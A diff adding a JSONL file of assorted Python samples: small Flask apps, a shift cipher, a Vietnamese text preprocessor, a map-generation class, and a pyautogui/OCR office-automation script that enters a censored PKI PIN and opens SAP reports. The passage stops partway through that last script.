diff --git "a/5095.jsonl" "b/5095.jsonl" new file mode 100644--- /dev/null +++ "b/5095.jsonl" @@ -0,0 +1,668 @@ +{"seq_id":"567033939","text":"\nprint(\"Welcome to the distance calculator. Follow the prompts to calculate the distance between two coordinates!\")\n\nx1 , y1 = eval(input(\"Please enter an x and y coordinate seperated by a comma: \"))\nx2 , y2 = eval(input(\"Please enter another x and y coordinate seperated by a comma: \"))\n\nxTravel = max(x1, x2) - min(x1, x2)\nyTravel = max(y1, y2) - min(y1, y2)\ntotalDistance = ((xTravel ** 2) + (yTravel) ** 2) ** 0.5\n\nprint(\"The total distance between the two points is:\", totalDistance)","sub_path":"Exercise2.14.py","file_name":"Exercise2.14.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265282053","text":"from flask import Flask, render_template, request, redirect\r\nimport queueManager, inputCheck, flags\r\nclass ServerManager:\r\n app = Flask(__name__)\r\n\r\n # def __init__(self):\r\n # self.app = Flask(__name__)\r\n # self.qManager = queueManager.QueueManager(queueManager.QueueManager.dbPath)\r\n\r\n def start(self):\r\n self.app.run(host=\"0.0.0.0\")\r\n\r\n @app.route(\"/\") \r\n def index():\r\n return render_template(\"index.html\")\r\n \r\n @app.route(\"/admin\")\r\n def admin():\r\n return render_template(\"admin.html\")\r\n\r\n @app.route('/submit', methods=[\"POST\"])\r\n def onSubmit():\r\n spotify_uri = ''\r\n youtube_url = str(request.form.get('youtube_url'))\r\n ctx_media = str(request.form.get('ctx_media'))\r\n ctx_button = str(request.form.get('ctx_button'))\r\n\r\n print(ctx_media + '-Link wurde per ' + ctx_button + ' submitted')\r\n\r\n if not spotify_uri == '':\r\n url = str(spotify_uri)\r\n ctx = flags.ctx_spotify\r\n else:\r\n url = str(youtube_url)\r\n ctx = flags.ctx_youtube\r\n \r\n if ctx_button == 'submit_normal':\r\n print('Url wird der Queue hinzugefügt')\r\n queueManager.QueueManager(queueManager.QueueManager.dbPath).add(url, ctx)\r\n elif ctx_button == 'submit_firstQ':\r\n print('Url wird an der ersten Stelle der Queue hinzugefügt')\r\n queueManager.QueueManager(queueManager.QueueManager.dbPath).addFirst(url, ctx)\r\n flags.setSkip(True)\r\n \r\n return redirect(\"/\")\r\n \r\n # Checken, ob es sich um einen Youtube oder Spotify Link handelt\r\n @app.route('/checkInput', methods=['POST'])\r\n def checkInput():\r\n spotify_uri = ''\r\n youtube_url = str(request.form.get('youtube_url'))\r\n _return = {'success': '', 'error': '', 'ctx_media': ''}\r\n\r\n if (not spotify_uri == '' and youtube_url == '') or (spotify_uri == '' and not youtube_url == ''):\r\n if inputCheck.checkSpotifyYoutube(spotify_uri) or inputCheck.checkSpotifyYoutube(youtube_url):\r\n _return['success'] = True\r\n\r\n if spotify_uri == '':\r\n _return['ctx_media'] = flags.ctx_youtube\r\n else:\r\n _return['ctx_media'] = flags.ctx_spotify\r\n else:\r\n _return['success'] = False\r\n _return['error'] = 'Eingabe war nicht korrekt! Bitte Eingabe prüfen'\r\n elif spotify_uri == '' and youtube_url == '':\r\n _return['success'] = False\r\n _return['error'] = 'Es muss mindestens ein Feld gefüllt werden'\r\n elif not spotify_uri == '' and not youtube_url == '':\r\n _return['success'] = False\r\n _return['error'] = 'Es darf nur ein Feld gefüllt werden'\r\n else:\r\n _return['success'] = False\r\n _return['error'] = 'Unbekannter Fehler bitte dem Benutzerservice bescheid geben ;)'\r\n \r\n if queueManager.QueueManager(queueManager.QueueManager.dbPath).getQueueLength() >= flags.max_queue_length:\r\n _return['success'] = False\r\n _return['error'] += '\\nDie Maximale Queue-Länge von ' + flags.max_queue_length + ' darf nicht überschritten werden'\r\n\r\n return _return\r\n \r\n # Admin Optionen übernehmen\r\n @app.route('/adminOptions', methods=['POST'])\r\n def setAdminOptions():\r\n ctx_button = str(request.form.get('ctx_button'))\r\n \r\n if ctx_button == 'skip':\r\n flags.doSkip = True\r\n elif ctx_button == 'playpause':\r\n if flags.doPause != True:\r\n flags.doPause = True\r\n else:\r\n flags.doPause = False","sub_path":"MediaPlayServer_noSpotify/serverManager.py","file_name":"serverManager.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"384585380","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\nimport json, os, data\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route('/', methods=['GET'])\ndef hello():\n return \"

Welcome to Yinon's Hogwarts CRM Students

\"\n\n\n@app.route('/students', methods=['GET'])\ndef all_students():\n global students\n return json.dumps(students)\n\n\n@app.route('/skills', methods=['GET'])\ndef skills():\n return json.dumps(data.skills_list)\n\n\n@app.route('/courses', methods=['GET'])\ndef courses():\n return json.dumps(data.courses_list)\n\n\n@app.route('/student/add', methods=['POST'])\ndef new_student():\n global students\n student = request.get_json(force=True)\n student[\"id\"] = data.get_id(students)\n students.insert(student[\"id\"] - 1, student)\n return \"Added\"\n\n\n@app.route('/student/edit', methods=['POST'])\ndef update_student():\n global students\n student = request.get_json(force=True)\n students = data.update(students, student)\n return \"Updated\"\n\n\n@app.route('/stats', methods=['GET'])\ndef get_stats():\n global students\n return json.dumps(data.get_skills_count(students))\n\n\n@app.route('/student/delete', methods=['DELETE'])\ndef delete_student():\n global students\n response = request.get_json(force=True)\n id = response[\"id\"]\n delete_response = data.delete(students, id)\n if delete_response:\n return \"Deleted\"\n return (\"id not found, no student deleted!\", 400)\n\n\nif __name__ == \"__main__\":\n students = data.student_list[:]\n port = int(os.environ.get('PORT', 2700))\n app.run(host='0.0.0.0', port=port)\n # app.run(host='127.0.0.1', port=port)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"500530720","text":"import random\r\nimport files\r\n\r\nnames = dict()\r\nnames_init = False\r\ncitynames = set()\r\n\r\ndef init():\r\n global names_init,names\r\n names_init = True\r\n languages = files.getList(\"names\")\r\n for language in languages:\r\n names[language] = dict()\r\n names[language][\"pre\"] = files.getTextFromFile(language,\"pre.txt\")\r\n names[language][\"main\"] = files.getTextFromFile(language,\"main.txt\")\r\n names[language][\"post_land\"] = files.getTextFromFile(language,\"post_land.txt\")\r\n names[language][\"post_mountain\"] = files.getTextFromFile(language,\"post_mountain.txt\")\r\n names[language][\"post_water\"] = files.getTextFromFile(language,\"post_water.txt\")\r\n\r\nclass nation:\r\n def __init__(self,num):\r\n self.relations = dict()\r\n self.tiles = set()\r\n self.cities = set()\r\n self.roads = set()\r\n\r\n self.language = None\r\n self.names = dict()\r\n \r\n self.temp = 0\r\n \r\n self.frontier = set() # newly claimed tiles\r\n self.border = set() # tiles that are next to someone else\r\n self.coast = set() # tiles that are next to an ocean\r\n self.mines = set() # tiles that are next to a moutain\r\n\r\n self.neighbours = set()\r\n self.oceans = set()\r\n self.mountains = set()\r\n self.type = \"land\"\r\n self.original_rgb = (0,0,0)\r\n self.rgb = (0,0,0)\r\n self.culture = \"\"\r\n\r\n self.r = random.randint(0,255)\r\n self.g = random.randint(0,255)\r\n self.b = random.randint(0,255)\r\n\r\n def setNames(self):\r\n global citynames\r\n if (names_init == False):\r\n init()\r\n\r\n self.language = random.choice(names.keys())\r\n \r\n for city in self.cities:\r\n self.names[city] = self.getRandomName(city)\r\n citynames.add(self.names[city])\r\n city.name = self.names[city]\r\n\r\n def getRandomName(self,tile):\r\n global citynames\r\n pre = \"\"\r\n main = \"\"\r\n post = \"\"\r\n\r\n if random.randint(0,10) > 8:\r\n pre = random.choice(names[self.language][\"pre\"])\r\n \r\n main = random.choice(names[self.language][\"main\"])\r\n\r\n if tile in self.coast:\r\n post = random.choice(names[self.language][\"post_water\"])\r\n elif tile in self.mines:\r\n post = random.choice(names[self.language][\"post_mountain\"])\r\n else:\r\n post = random.choice(names[self.language][\"post_land\"])\r\n\r\n fullname = pre+main+post\r\n if len(fullname) > 10 and fullname not in citynames:\r\n fullname = self.getRandomName(tile)\r\n return fullname.title()\r\n\r\n def setCapital(self,capitalCity):\r\n self.capital = capitalCity\r\n capitalCity.nation = self\r\n self.tiles.add(self.capital)\r\n self.frontier = set(self.tiles)\r\n self.original_rgb = self.setColor(capitalCity.y,len(capitalCity.world[0]))\r\n self.rgb = self.original_rgb\r\n capitalCity.city = True\r\n self.cities.add(capitalCity)\r\n\r\n def resetCapital(self):\r\n\r\n chanceCoast = len(self.coast) * random.randint(0,10)\r\n chanceMines = len(self.mines) * random.randint(0,10)\r\n if chanceCoast > chanceMines:\r\n ranTile = random.choice(list(self.coast))\r\n elif chanceMines > chanceCoast:\r\n ranTile = random.choice(list(self.mines))\r\n else:\r\n ranTile = random.choice(list(self.tiles))\r\n\r\n for tile in self.tiles:\r\n tile.nation = None\r\n self.tiles = set()\r\n\r\n self.capital = ranTile\r\n self.cities.add(self.capital)\r\n self.capital.city = True\r\n\r\n self.border = set()\r\n self.coast = set()\r\n self.mines = set()\r\n\r\n for tile in self.cities:\r\n self.tiles.add(tile)\r\n self.frontier.add(tile)\r\n tile.nation = self\r\n\r\n def floodFill(self):\r\n changes = False\r\n\r\n newtiles = set()\r\n for tile in self.frontier:\r\n around = [tile.getNorth(), tile.getEast(), tile.getSouth(), tile.getWest()]\r\n for place in around:\r\n if place != None and place.nation == None:\r\n place.nation = self\r\n newtiles.add(place)\r\n self.tiles.add(place)\r\n changes = True\r\n elif place != None and place.nation != None and place.nation != self:\r\n self.border.add(tile)\r\n elif place == None:\r\n self.type = \"water\"\r\n\r\n self.frontier = set(newtiles)\r\n return changes\r\n\r\n def findBorders(self):\r\n coast = set()\r\n mines = set()\r\n newborder = set()\r\n \r\n for tile in self.border:\r\n around = [tile.getNorth(), tile.getEast(), tile.getSouth(), tile.getWest()]\r\n for place in around:\r\n if place != None and place.nation != self:\r\n if place.nation.type == \"water\":\r\n coast.add(tile)\r\n if place.nation.type == \"mountain\":\r\n mines.add(tile)\r\n if place.nation.type == \"land\":\r\n newborder.add(tile)\r\n\r\n self.coast = set(coast)\r\n self.mines = set(mines)\r\n self.border = set(newborder)\r\n \r\n def findNeighbours(self):\r\n for tile in self.border:\r\n around = [tile.getNorth(), tile.getEast(), tile.getSouth(), tile.getWest()]\r\n for place in around:\r\n if place != None and place.nation != self:\r\n if place.nation.type == \"land\":\r\n self.neighbours.add(place.nation)\r\n elif place.nation.type == \"water\":\r\n self.oceans.add(place.nation)\r\n elif place.nation.type == \"mountain\":\r\n self.mountains.add(place.nation)\r\n\r\n def dissolveColors(self):\r\n \r\n (r,g,b) = self.original_rgb\r\n n = 1.2\r\n r *= n\r\n g *= n\r\n b *= n\r\n \r\n for neighbour in self.neighbours:\r\n (r2,g2,b2) = neighbour.original_rgb\r\n r += r2\r\n g += g2\r\n b += b2\r\n n += 1\r\n r = float(r) / float(n)\r\n g = float(g) / float(n)\r\n b = float(b) / float(n)\r\n self.rgb = (int(r),int(g),int(b))\r\n\r\n def setColor(self,y,maxy):\r\n\r\n r = 10.0\r\n g = 220.0\r\n b = 10.0\r\n \r\n coldNorth = maxy*0.2\r\n coldSouth = maxy*0.8\r\n hotNorth = maxy*0.25\r\n hotSouth = maxy*0.75\r\n \r\n if y < coldNorth or y > coldSouth:\r\n # cold\r\n self.temp = -1\r\n \r\n if y < coldNorth:\r\n dist = float(abs(coldNorth - y))\r\n elif y > coldSouth:\r\n dist = float(abs(coldSouth - y))\r\n dist = float(dist) / float(maxy*0.2)\r\n dist = (1.0 + dist) / 2.0 # to create slightly bigger frozen area\r\n \r\n r = float((1.0-dist)*r + dist*230)\r\n g = float((1.0-dist)*g + dist*255)\r\n b = float((1.0-dist)*b + dist*255)\r\n \r\n elif y > hotNorth and y < hotSouth:\r\n # hot\r\n self.temp = 1\r\n \r\n if y <= maxy*0.5:\r\n dist = float(abs(hotNorth - y))\r\n elif y >= maxy*0.5:\r\n dist = float(abs(hotSouth - y))\r\n dist = float(dist) / float(maxy*0.25)\r\n dist = (1.0 + dist) / 2.0 # to create slightly bigger desert area\r\n \r\n r = float((1.0-dist)*r + dist*240)\r\n g = float((1.0-dist)*g + dist*230)\r\n b = float((1.0-dist)*b + dist*165)\r\n \r\n return (int(r),int(g),int(b))\r\n","sub_path":"nation.py","file_name":"nation.py","file_ext":"py","file_size_in_byte":7866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"266111835","text":"from establishment.errors.models import ErrorMessage, get_error\n\n\nclass InheritorSetMeta(type):\n __inheritors__ = set()\n\n def __new__(cls, name, bases, dct):\n new_class = super().__new__(cls, name, bases, dct)\n cls.__inheritors__.add(new_class)\n return new_class\n\n\nclass ErrorList(object, metaclass=InheritorSetMeta):\n \"\"\"\n Error enum classes need to inherit this to be able to be imported anytime (before models are ready for instance)\n After the error app is ready, and all models are loaded, we'll iterate over all inheritor classes and load\n their matching ErrorMessage models from the DB.\n \"\"\"\n @classmethod\n def all(cls):\n # Iterate over all own fields that are exceptions\n for attr in dir(cls):\n value = getattr(cls, attr)\n if isinstance(value, ErrorMessage):\n yield attr, value\n\n @classmethod\n def load_from_db(cls):\n \"\"\"\n Update all class fields that are ErrorMessage instances with the values from the database.\n If there's not coresponding DB entry for the given message for instance, a new entry is created.\n \"\"\"\n try:\n ErrorMessage.ensure_cache_build()\n except:\n # Just log an error here, and carry on\n print(\"Error in loading errors from DB, how ironic, eh? This is expected when error models are not migrated\")\n return\n for attr, value in cls.all():\n if not value.is_from_db:\n value = get_error(**value.__dict__)\n setattr(cls, attr, value)\n\n @classmethod\n def load_from_db_all_inheritors(cls):\n for error_list_class in cls.__inheritors__:\n error_list_class.load_from_db()\n\n\nclass BaseError(ErrorList):\n USER_NOT_AUTHENTICATED = get_error(id=1, message=\"User not authenticated\")\n NOT_ALLOWED = get_error(id=2, message=\"Not allowed\")\n OBJECT_NOT_FOUND = get_error(id=3, message=\"Object not found\")\n INVALID_URL = get_error(message=\"Invalid url\")\n OBJECT_ALREADY_EXISTS = get_error(message=\"The object you want to create already exists\")\n INVALID_DATA = get_error(message=\"Validation error\")\n TOO_MANY_OBJECTS = get_error(message=\"Requesting too many objects\")\n MAINTENANCE = get_error(message=\"Website in maintenance mode!\")\n","sub_path":"errors/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355776794","text":"import logging\nimport os\nimport re\nfrom copy import deepcopy\nfrom typing import Any, Dict, List, Optional\n\nimport nltk\nfrom more_itertools.more import windowed\n\nfrom modules.ml.plugins.vncorenlp import VnCoreNLPSingleton\n\nfrom .base import BasePreProcessor\nfrom .cleaning import normalize_text\n\nlogger = logging.getLogger(__name__)\n\n\nclass ViPreProcessor(BasePreProcessor):\n def __init__(\n self,\n split_by: Optional[str] = \"word\",\n split_length: Optional[int] = 1000,\n split_overlap: Optional[int] = None,\n split_respect_sentence_boundary: Optional[bool] = True,\n use_fixed_stopwords: Optional[bool] = False,\n ):\n \"\"\"\n Attributes:\n split_by (str, optional): Unit for splitting the document.\n Can be \"word\", \"sentence\", or \"passage\".\n Set `None` to disable spliting. Defaults to \"word\".\n split_length (int, optional): Max. number of the above split unit (e.g. words)\n that are allowed in one document. Defaults to 1000.\n split_overlap (int, optional): Word overlap between two adjacent documents after a split.\n Setting this to a positive number essentially enables the sliding window approach.\n For example, if split_by -> `word`,\n split_length -> 5 & split_overlap -> 2, then the splits would be like:\n [w1 w2 w3 w4 w5, w4 w5 w6 w7 w8, w7 w8 w10 w11 w12].\n Set the value to None to ensure there is no overlap among the documents after splitting.\n Defaults to None.\n split_respect_sentence_boundary (bool, optional): Whether to split in\n partial sentences if split_by -> `word`.\n If set to True, the individual split will always have complete sentences &\n the number of words will be <= split_length.. Defaults to True.\n use_fixed_stopwords (bool, optional): remove stopwords that appears in pre-defined files.\n Defaults to False.\n \"\"\"\n nltk.download(\"punkt\")\n self.rdrsegmenter = VnCoreNLPSingleton.get_instance()\n\n self.use_fixed_stopwords = use_fixed_stopwords\n self.split_by = split_by\n self.split_length = split_length\n self.split_overlap = split_overlap\n self.split_respect_sentence_boundary = split_respect_sentence_boundary\n\n self.stopwords: List[str]\n if use_fixed_stopwords:\n self._load_stopwords()\n\n def clean(self, document: Dict[str, Any]) -> Dict[str, Any]:\n \"\"\"Performs document cleaning on a single document and return a single document.\n Includes dealing with whitespaces, empty lines.\n \"\"\"\n text = document[\"text\"]\n\n text = normalize_text(text)\n text = self._word_segment(text)\n text = _clean_vncore_result(text)\n\n document[\"text\"] = text\n return document\n\n def split(self, document: Dict[str, Any]) -> List[Dict[str, Any]]:\n if not self.split_by:\n return [document]\n\n if not self.split_length:\n raise ValueError(\"split_length needs be set when using split_by.\")\n\n if self.split_respect_sentence_boundary and self.split_by not in (\n \"word\",\n \"sentence\",\n ):\n raise NotImplementedError(\n \"'split_respect_sentence_boundary=True' is only compatible with\"\n \" split_by='word' or split_by='sentence'.\"\n )\n\n text = document[\"text\"]\n\n if self.split_respect_sentence_boundary and self.split_by == \"word\":\n sentences = nltk.tokenize.sent_tokenize(text)\n word_count = 0\n list_splits = []\n current_slice: List[str] = []\n for sen in sentences:\n current_word_count = len(sen.split(\" \"))\n if current_word_count > self.split_length:\n logger.warning(\n \"A sentence found with word count higher than the split length.\"\n )\n if word_count + current_word_count > self.split_length:\n list_splits.append(current_slice)\n\n if self.split_overlap:\n overlap = []\n w_count = 0\n for s in current_slice[::-1]:\n sen_len = len(s.split(\" \"))\n if w_count < self.split_overlap:\n overlap.append(s)\n w_count += sen_len\n else:\n break\n current_slice = list(reversed(overlap))\n word_count = w_count\n else:\n current_slice = []\n word_count = 0\n current_slice.append(sen)\n word_count += len(sen.split(\" \"))\n if current_slice:\n list_splits.append(current_slice)\n text_splits = [\" \".join(sl) for sl in list_splits]\n else:\n if self.split_by == \"passage\":\n elems = text.split(\"\\n\\n\")\n elif self.split_by == \"sentence\":\n elems = nltk.tokenize.sent_tokenize(text)\n elif self.split_by == \"word\":\n elems = text.split(\" \")\n else:\n raise NotImplementedError(\n \"ViPreProcessor only supports 'passage', \\\n 'sentence' or 'word' split_by options\"\n )\n\n if self.split_overlap:\n segments = windowed(\n elems,\n n=self.split_length,\n step=self.split_length - self.split_length,\n )\n else:\n segments = windowed(elems, n=self.split_length, step=self.split_length)\n text_splits = []\n for seg in segments:\n # txt = \" \".join([t for t in seg if t])\n # text_splits.append(txt)\n text_splits = [t for t in seg if t]\n\n # create new document dicts for each text split\n documents = []\n for i, txt in enumerate(text_splits):\n doc = deepcopy(document)\n doc[\"text\"] = txt\n if \"meta\" not in doc.keys() or doc[\"meta\"] is None:\n doc[\"meta\"] = {}\n doc[\"meta\"][\"_split_id\"] = i\n documents.append(doc)\n\n return documents\n\n def _word_segment(self, text: str) -> str:\n \"\"\"Uses VnCoreNLP-based tokenizer for word segmentation.\n \"\"\"\n sentences = self.rdrsegmenter.tokenize(text)\n\n tokenized_sents = []\n for words in sentences:\n if self.use_fixed_stopwords:\n words = filter(lambda w: w not in self.stopwords, words)\n tokenized_sents.append(\" \".join(words))\n\n result = \" \".join(tokenized_sents)\n return result\n\n def _load_stopwords(\n self, stopword_path: str = \"modules/ml/data/vietnamese-stopwords.txt\"\n ):\n \"\"\"Loads list of stopwords from given path.\n\n ref: https://github.com/stopwords/vietnamese-stopwords/\n \"\"\"\n if not os.path.isfile(stopword_path):\n logger.error(\"File not found, stopwords list not initialized\")\n return\n if not self.stopwords:\n self.stopwords = []\n with open(stopword_path, \"r\") as f:\n for line in f:\n word = line.replace(\"\\n\", \"\")\n self.stopwords.append(word)\n\n\ndef _clean_vncore_result(text: str) -> str:\n \"\"\"Cleans special cases caused by VnCoreNLP.\n\n Example: \"cho đến thời_điểm này , có_thể nói ,\"\n \"\"\"\n text = re.sub(r\"\\s([?.!,](?:\\s|$))\", r\"\\1\", text)\n text = re.sub(r\"\\(\\s\", \"(\", text)\n text = re.sub(r\"\\s\\)\", \")\", text)\n return text\n","sub_path":"modules/ml/preprocessor/vi_preprocessor.py","file_name":"vi_preprocessor.py","file_ext":"py","file_size_in_byte":7916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"436171760","text":"class Group(object):\n def __init__(self, _name):\n self.name = _name\n self.groups = []\n self.users = []\n\n def add_group(self, group):\n self.groups.append(group)\n\n def add_user(self, user):\n self.users.append(user)\n\n def get_groups(self):\n return self.groups\n\n def get_users(self):\n return self.users\n\n def get_name(self):\n return self.name\n\n\ndef is_user_in_group(user, group):\n if len(str(group)) == 0 or type(group) is not Group:\n print(\"Please enter a valid group\")\n return\n if user in group.users:\n return True\n else:\n for group in group.groups:\n if is_user_in_group(user, group):\n return True\n\n return False\n\n\ndef main():\n parent = Group(\"parent\")\n child = Group(\"child\")\n sub_child = Group(\"subchild\")\n\n sub_child_user = \"sub_child_user\"\n sub_child.add_user(sub_child_user)\n\n child.add_group(sub_child)\n parent.add_group(child)\n\n ### Test 1\n ### Should print True as sub_child_user is under parent\n print(is_user_in_group(sub_child_user, parent))\n\n ### Should print True as sub child user is under child\n print(is_user_in_group(sub_child_user, child))\n\n ### Should print true as sub_child_user is in sub_child group\n print(is_user_in_group(sub_child_user, sub_child))\n\n ### Test 2\n ### Should print false as no name is given\n print(is_user_in_group(\"\", parent))\n\n ### Test 3\n ### Non-group object given as arg - should print line asking user for valid group name\n no_group = \"\"\n print(is_user_in_group(\"\", no_group))\n\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"projects/project1/submit/problem_4.py","file_name":"problem_4.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"551542538","text":"\"\"\" Shift Cipher\n\nProvides operations allowing the encoding and decoding of text using a standard shift cipher. Also includes a method to\nperform a brute-force search for a key in the key space of a shift cipher.\n\n\"\"\"\n\n\ndef encode(plaintext, key):\n \"\"\" Encode a given plaintext string using a shift cipher with the given key. \"\"\"\n key = key.upper()\n key_numeral = ord(key) - 65\n plaintext = plaintext.upper()\n if key_numeral < 0 or key_numeral > 25:\n raise ValueError(\"Key must be in range A-Z\")\n\n output = \"\"\n for character in plaintext:\n character_numeral = ord(character)\n if character_numeral < 65 or character_numeral > 90:\n output += character\n else:\n output += chr((((character_numeral - 65) + key_numeral) % 26) + 65)\n return output\n\n\ndef decode(ciphertext, key):\n \"\"\" Decode a given plaintext string using a shift cipher with the given key. \"\"\"\n key_numeral = ord(key) - 65\n return encode(ciphertext, chr(((26 - key_numeral) % 26) + 65))\n\n\ndef brute_force_search(ciphertext):\n \"\"\" Enumerate all possible keys allowing a user to determine the key for a shift cipher and a given ciphertext. \"\"\"\n ciphertext = ciphertext.upper()\n result = []\n for key in [chr(c+65) for c in range(0, 26)]:\n decoded_ciphertext = decode(ciphertext, key)\n result.append(decoded_ciphertext)\n return result\n\n\ndef print_brute_force_search(search_results):\n \"\"\" Prints the result of the above method labelling each item with the key that resulted in it. \"\"\"\n if not(len(search_results) == 26):\n raise ValueError(\"Search results must contain 26 entries\")\n for i in range(0, 26):\n print(chr(i + 65) + \":\\t\" + search_results[i])","sub_path":"Cryptography/shift_cipher.py","file_name":"shift_cipher.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200295279","text":"# Made by Colin Jackson; January 2020; At Siemens under Reinhard Geisler\n# Welcome to my code\n# Copyright January 2020\n\nfrom PIL import ImageGrab\nimport pyautogui as gui\nimport time\n#import sys\n#sys.path.insert(1, \"C:\\\\Users\\\\CENSORED\\\\Desktop\\\\Project\")\n#import readScreen as esther\nimport pytesseract as esther\nimport pyautogui as gui\nimport numpy as np\n\n#global variable\nlastText = ''\n#this needs to be here for the image to text recognition to work\nesther.pytesseract.tesseract_cmd = r'C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe'\n\ndef LetsGetCrazy():\n print('LET\\'S GET CRAZY')\n return LetsGetCrazy()\n\ndef readScreen(text, x, y, w, v):\n global lastText\n #I am now going to design a readScreen which takes textbox coordinates as parameters\n printscreen = np.array(ImageGrab.grab(bbox=(x,y,w,v)))\n textOnScreen = esther.image_to_string(printscreen)\n\n\n if (textOnScreen != lastText):\n if (text in textOnScreen):\n print('found \"{}\" in text below'.format(text))\n print('\\n')\n print(textOnScreen)\n print('\\n')\n lastText = textOnScreen\n\ndef readScreen2(text):\n global lastText\n #these coordinates refer to the email specifically. I am now going to design a readScreen which takes textbox coordinates as parameters\n printscreen = np.array(ImageGrab.grab(bbox=(350,353,761,490)))\n textOnScreen = esther.image_to_string(printscreen)\n\n\n if (textOnScreen != lastText):\n if (text in textOnScreen):\n print('found \"{}\" in text below'.format(text))\n print('\\n')\n print(textOnScreen)\n print('\\n')\n downloadPDF()\n lastText = textOnScreen\n\nclass SAP_PIN():\n pin = 'CENSORED'\n\ndef goDesktop():\n time.sleep(3)\n #gui.click(x = 1916, y = 1038)\n gui.hotkey('win', 'D')\n\ndef openFolder(foldername):\n time.sleep(1)\n gui.hotkey('win', 'r')\n time.sleep(2)\n if (foldername == 'New'):\n gui.write('\"Y:\\\\ICC OM\\\\Data\\\\OrderData\\\\New\"')\n gui.press('enter')\n time.sleep(6)\n\n #maximizes folder window\n gui.hotkey('alt', 'space')\n gui.press(['down','down','down','down', 'enter'])\n time.sleep(1)\n for i in range(34):\n gui.press(['up'])\n\n\ndef enterPKI():\n print('bypassing security...')\n security_ok = search('security_ok', 30)\n if security_ok == None:\n quit()\n print('found PKI window, inputting PIN...')\n gui.click(security_ok)\n\n PIN_image = search('PIN', 10)\n if PIN_image == None:\n quit()\n gui.click(PIN_image)\n\n gui.typewrite(SAP_PIN.pin)\n print('successfully entered pin')\n\n security_ok = search('security_ok', 15)\n if security_ok == None:\n quit()\n gui.click(security_ok, clicks = 2, interval = .3)\n\ndef OCR_Search(text, X, Y, distanceFromX, distanceFromY, time_to_wait):\n global lastText\n #I am now going to design a search which uses OCR to find windows or text on screen\n #sometimes the search function just plain fails. It, for no discernable reason, cannot find the image.\n #OCR is much more reliable. It will always detect clear text on screen.\n\n #base case\n if (time_to_wait == 0):\n print('OCR_Search could not find {}'.format(text))\n return None\n\n printscreen = np.array(ImageGrab.grab(bbox=(X,Y,distanceFromX,distanceFromY)))\n textOnScreen = esther.image_to_string(printscreen)\n\n #my success condition is if the parameter text is found within the text on screen\n if (textOnScreen != lastText):\n if (text in textOnScreen):\n print('found \"{}\" in text below'.format(text))\n print('\\n')\n print(textOnScreen)\n print('\\n')\n #maybe return the coordinates of the text?\n return\n\n lastText = textOnScreen\n\n return OCR_Search(text, X, Y, distanceFromX, distanceFromY, time_to_wait - 1)\n\n#tries to find an object on screen for x time(s) and then gives up\n#input must be string of a '___.png in the folder\ndef search(input_png, time_to_wait):\n input = None\n\n #base case\n if (time_to_wait == 0):\n #need this below if statement exception just to control how much text this thing spits out when looking through email\n if (input_png != 'yesterday'):\n print('Process failed. Could not find ' + input_png + '.png')\n return None\n #need this below if statement exception just to control how much text this thing spits out when looking through email\n if (input_png != 'yesterday'):\n print('searching for ' + input_png + '.png. Searching for T minus {} tries'.format(time_to_wait))\n #search for the object\n #this function takes a few seconds depending on the image size\n input = gui.locateCenterOnScreen(input_png + '.PNG')\n\n if (input != None):\n print(input_png + '.png was found on screen at ')\n print(input)\n #should return the coords of the object\n return input\n\n #recursive call\n return search(input_png, (time_to_wait - 1))\n\n#exists for when one has to load reports for a long time_to_wait in seconds\n#it will recursively search for the item but only every 60 seconds/1 minutes\n#otherwise it will just wait. Example long_search(item, 900)\n#at 900 sec, it searches. for 899-841 it doesn't. At 840 it searches. etc.\n#searches twice per iteration because it has trouble finding it after only once\n#when it finds the item, long_search will return, so there is no harm in overestimating time input\n\ndef long_search(input_png, time_to_wait):\n #base case\n if time_to_wait == 0:\n print('item not found using long search!')\n return None\n\n if time_to_wait%60 == 0:\n print('{} seconds left.'.format(time_to_wait))\n\n item = search(input_png, 2)\n if item != None:\n print('item found at {} seconds.'.format(time_to_wait))\n return item\n if item == None:\n print('item not found yet. Ignore Process Failed')\n #normal seconds elapsing\n time.sleep(1)\n\n return long_search(input_png, time_to_wait - 1)\n\n\ndef openAccess(database):\n time.sleep(1)\n gui.hotkey('win', 'r')\n time.sleep(2)\n if (database == 'DE'):\n #gui.write('\"Y:\\\\ICC OM\\\\Data\\\\OrderData\\\\DE-Orders.accdb\"')\n gui.write('\"C:\\\\Users\\\\CENSORED\\\\Desktop\\\\offlineDB\\\\OrderData\\\\DE-Orders.accdb\"')\n\n if (database == 'ICC'):\n gui.write('\"Y:\\\\ICC OM\\\\Data\\\\ICC_Orders.accdb\"')\n\n gui.press('enter')\n #access can take a while to load\n time.sleep(15)\n\ndef deleteG50():\n print('checking if buyers desk has text')\n g50 = search('G50', 4)\n if g50 == None:\n print('No buyers desk text, move on')\n return\n gui.click(g50)\n for i in range(4):\n gui.press('right')\n gui.hotkey('ctrl', 'shift', 'left')\n gui.press('backspace')\n time.sleep(2)\n\n\ndef closeExcel():\n excel = search('xExcel', 25)\n if excel == None:\n print('could not close Excel')\n return\n gui.click(excel)\n print('closed excel')\n\ndef openReport2(reportname):\n if reportname == 'R1':\n for i in range(27):\n gui.press(['down'])\n gui.press('enter')\n time.sleep(3)\n if reportname == 'R2':\n for i in range(28):\n gui.press(['down'])\n gui.press('enter')\n time.sleep(3)\n if reportname == 'R3':\n for i in range(29):\n gui.press(['down'])\n gui.press('enter')\n 